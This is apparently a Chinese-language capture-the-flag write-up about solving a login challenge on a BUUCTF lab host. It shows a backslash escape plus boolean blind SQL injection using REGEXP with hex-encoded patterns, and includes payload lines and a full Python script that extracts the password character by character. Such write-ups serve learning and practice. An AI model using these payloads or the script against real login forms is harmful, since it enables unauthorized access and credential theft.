首先,在robots下发现hint,
hint中有对sql语句的提示。
微信截图_20200326035528.png


然后通过向上帝祈祷,得到源码:
微信截图_20200326035719.png


源码中可以看到,他过滤了很多东西,包括双引号select 和union联合查询等等。
再次祈祷,上帝说没有过滤反斜杠,于是测试之:
username=admin
password=or 1

页面返回不一样了,说明从数据库读到什么东西:
微信截图_20200326040040.png


然而并没有什么用,
BJD needs to be stronger
我觉得我很强壮啊。
通过翻看向上帝乞讨的源码知道,当他从数据库中读取到东西的时候,就说BJD需要强壮。说明这是个布尔盲注,我们只能晓得正确或者错误(错误就是You konw ,P3rh4ps needs a girl friend),说明需要女朋友就报错,他应该要单一段时间了。

然后再再次向上帝祈祷,他说这是regexp注入。但是并不知道password字段名是啥啊,难道就是password吗。虽然很随意,但是确实是。。

于是构造:
username=notgirl
password=or password regexp hex(^[a-zA-Z0-9])
就拿上帝视角的密码来说:OhyOuFOuNdit
password=or password regexp hex(^O)# –>password=or password regexp 0x5E4F
因为在mysql中传入hex他会自动解析成str格式,因为过滤了引号,所以这么干。(我猜的)
微信截图_20200326041005.png


然后这个时候返回的是我很强壮。就说明查到数据了。那么写个脚本判断[a-zA-Z0-9](为什么不能有特殊字符,淦mark)把有他需要女朋友这种回显的页面全部去掉,当返回我很强壮的时候(说明查到数据了)就把当前字符记录下来。

小jo本:

import binascii,requests

url='http://40861019-e34a-4cba-906a-d0ad5ddb6e49.node3.buuoj.cn/index.php'
key=''


while 1:
    
    for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
        _='^'+key+i
        data={
            'username':'younotgf!\\',
            'password':'or password regexp binary 0x{}# '.format(binascii.b2a_hex(_.encode()).decode())
        }
        
        res=requests.post(url,data=data).text
        if 'stronger' in res:
            key+=i
            print(key)
            break

微信截图_20200326043551.png

然后登陆之(tools可以扩充个str2hex双向转换的小脚本Mark